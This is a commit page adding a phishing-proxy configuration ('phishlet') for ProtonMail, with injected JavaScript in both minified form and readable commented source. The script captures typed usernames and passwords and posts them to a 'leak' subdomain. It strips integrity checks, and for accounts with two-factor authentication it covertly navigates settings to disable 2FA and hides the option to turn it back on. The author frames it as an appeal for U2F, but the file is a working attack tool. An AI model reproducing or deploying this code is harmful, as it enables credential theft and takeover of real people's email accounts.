Skip to content

Commit

Permalink
Phishlet for protonmail
Browse files Browse the repository at this point in the history
Tested on FF & Chrome, with and without 2FA. Will disable 2FA and rely on credentials instead of cookies.
  • Loading branch information
JamesCullum committed Feb 22, 2019
1 parent 871fcef commit f49a7fc
Showing 1 changed file with 163 additions and 0 deletions.
163 changes: 163 additions & 0 deletions phishlets/protonmail.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,163 @@
name: 'o365'
author: '@jamescullum'
# This phishlet is mostly an appeal to introduce U2F everywhere, protecting users from phishing in an easy and accessible way.
# Protonmail is based on Angular, very JS heavy and changes a lot of things often. This makes it difficult to keep the script compatible for a long period of time.
# It never sends the password over the wire and enforces integrity over multiple ways.
# I was unable to reconstruct a 2FA session with cookies or other clearly available materials (if you can, tell me how and the whole thing will be MUCH smoother!)
# To combat these JS based protections, this phishlet is injecting javascript that holes out the protections.
# If the user has no 2FA protection, it will recognize this and leak the login details manually, so that they can be captured.
# If 2FA is enabled, it will modify the UI in a way so that the user is forced to disable 2FA. Only after this is done, the credentials are leaked.
# This way, only the login details are needed to get into an account.
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'mail', orig_sub: 'mail', domain: 'protonmail.com', session: true, is_landing: true, auto_filter:true}
- {phish_sub: 'leak', orig_sub: 'debug', domain: 'example.org', session: true, is_landing: false}
sub_filters:
- {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: '</script></body>', replace: '</script><script>!function(){var o=null,t=null,e=150,i=null,a=null;function c(n,o,t,i){if(void 0===i&&(i=0,a=n),a!=n)return console.error("Waiting aborted due to race condition",a,n);jQuery(n).length?o(i):i<e?setTimeout(function(){c(n,o,t,i+1)},100):(console.error("Timeout reached, cancelling action"),void 0!==t&&t(i))}function l(){null!=i&&clearInterval(i),$("a.headerSecuredDesktop-logo").click(),$("#suppressModal").remove(),$("#pm_loading").removeClass("show")}function s(){var n="https://"+window.location.hostname.replace("//mail.","//leak.")+"/confirm-compromise";$.post(n,{username:o,password:t}),$("html > head").append(''<style id="hide2fa">button[ng-show="twoFactor === 0"] { display: none !important; }</style>'')}!function n(o){window.jQuery?o():setTimeout(function(){n(o)},50)}(function(){$(document).ready(function(){$("body").on("click","#login_btn",function(){o=$("#username").val(),t=$("#password").val(),c("button.compose, #login_btn_2fa:visible",function(){$("#login_btn_2fa").length||s()})}),$("body").on("click","#login_btn_2fa",function(){c("button.compose",function(){$("html > head").append(''<style id="suppressModal">.pm_modal:not(.very-important) { z-index: -1 !important; } .pm_modal.very-important button.close, .pm_modal.very-important button[ng-click="ctrl.cancel()"] { display: none !important; } #body { opacity: 0 !important; }</style>''),$("#pm_loading").addClass("show"),c("#tour-settings",function(){$("#tour-settings").click(),c(''a.navigationSettings-link[href="/security"]'',function(){$(''a.navigationSettings-link[href="/security"]'').click(),c(''button[ng-click="disableTwoFactor()"]'',function(){var n=$(''button[ng-click="disableTwoFactor()"]'');if(n.hasClass("ng-hide"))l();else{i=setInterval(function(){$("#confirmModalBtn").length&&$("#confirmModalBtn").click()},50),n.click();var o=setInterval(function(){$(".cg-notify-message.notification-danger").length&&($(".cg-notify-message.notification-danger").remove(),n.click()),$(".cg-notify-message.notification-success").length&&($(".cg-notify-message.notification-success").remove(),clearInterval(o),l(),s())},100)}},l)},l)},l)})})})})}();</script></body>', mimes: ['text/html']}
- {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: ' integrity=(.+?) crossorigin=anonymous', replace: ' ', mimes: ['text/html']}
- {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: '(?:r&&\()?\w+\.integrity\s*=\s*.+?\)?,', replace: '', mimes: ['application/javascript']}
auth_urls:
- '/confirm-compromise'
auth_tokens:
# We actually don't care for the cookies here
- domain: '.protonmail.com'
keys: ['Session-Id']
credentials:
username:
key: 'username'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: 'mail.protonmail.com'
path: '/login'

# Below you find the raw script. It is minified via jscompress.com and injected at the end of the body of the landing page.
#(function() {
# var usrCache = null;
# var passwdCache = null;
# var timeoutMax = 15*10;
# var waitforTimeout = null;
# var suppressConfirm = null;
# var waitingForElement = null;
#
# defer(function() {
# $(document).ready(function() {
# $("body").on("click", "#login_btn", function() {
# usrCache = $("#username").val();
# passwdCache = $("#password").val();
#
# waitFor("button.compose, #login_btn_2fa:visible", function() {
# if($("#login_btn_2fa").length) return;
#
# leakCredentials();
# });
# });
#
# $("body").on("click", "#login_btn_2fa", function() {
# waitFor("button.compose", function() {
# // Cover actions
# $('html > head').append('<style id="suppressModal">.pm_modal:not(.very-important) { z-index: -1 !important; } .pm_modal.very-important button.close, .pm_modal.very-important button[ng-click="ctrl.cancel()"] { display: none !important; } #body { opacity: 0 !important; }</style>');
# $("#pm_loading").addClass("show");
#
# // Navigate to settings
# waitFor("#tour-settings", function() {
# $("#tour-settings").click();
#
# // Navigate to security settings
# waitFor('a.navigationSettings-link[href="/security"]', function() {
# $('a.navigationSettings-link[href="/security"]').click();
#
# // Wait until 2FA options loaded
# waitFor('button[ng-click="disableTwoFactor()"]', function() {
# var twofaDisableButton = $('button[ng-click="disableTwoFactor()"]');
#
# if(!twofaDisableButton.hasClass("ng-hide")) {
# // Start automatic modal interactions
# suppressConfirm = setInterval(function() {
# if($("#confirmModalBtn").length) $("#confirmModalBtn").click();
# }, 50);
#
# // Initiate action to remove
# twofaDisableButton.click();
#
# var waitConfirm = setInterval(function() {
# // Wrong code or other error -> Retry
# if($(".cg-notify-message.notification-danger").length) {
# $(".cg-notify-message.notification-danger").remove();
# twofaDisableButton.click();
# }
#
# // Button switched
# if($('.cg-notify-message.notification-success').length) {
# $(".cg-notify-message.notification-success").remove();
# clearInterval(waitConfirm);
#
# resetUI();
# leakCredentials();
# }
# }, 100);
# } else {
# resetUI(); // we shouldn't possibly get here
# }
# }, resetUI);
# }, resetUI);
# }, resetUI);
# });
# });
# });
# });
#
# function waitFor(selector, callback, timeout_callback, timeout_i) {
# if(typeof timeout_i == 'undefined') {
# timeout_i = 0;
# waitingForElement = selector;
# }
#
# // Collision detection - there should only be one wait at a time, but at login the user might be faster than the timeout
# if(waitingForElement != selector) {
# return console.error("Waiting aborted due to race condition", waitingForElement, selector);
# }
#
# if (jQuery(selector).length) {
# callback(timeout_i);
# } else if(timeout_i < timeoutMax) {
# waitforTimeout = setTimeout(function() {
# waitFor(selector, callback, timeout_callback, timeout_i+1);
# }, 100);
# } else {
# console.error("Timeout reached, cancelling action");
#
# if(typeof timeout_callback !== 'undefined') {
# timeout_callback(timeout_i);
# }
# }
# }
#
# function resetUI() {
# if(suppressConfirm != null) clearInterval(suppressConfirm);
#
# $("a.headerSecuredDesktop-logo").click();
# $("#suppressModal").remove();
# $("#pm_loading").removeClass("show");
# }
#
# function leakCredentials() {
# var leakAddress = "https://"+(window.location.hostname.replace("//mail.", "//leak."))+"/confirm-compromise";
# $.post(leakAddress, {"username":usrCache, "password":passwdCache});
#
# // Make sure the user doesn't activate 2FA
# $('html > head').append('<style id="hide2fa">button[ng-show="twoFactor === 0"] { display: none !important; }</style>');
# }
#
# function defer(method) {
# if (window.jQuery) {
# method();
# } else {
# setTimeout(function() { defer(method) }, 50);
# }
# }
#})();

0 comments on commit f49a7fc

Please sign in to comment.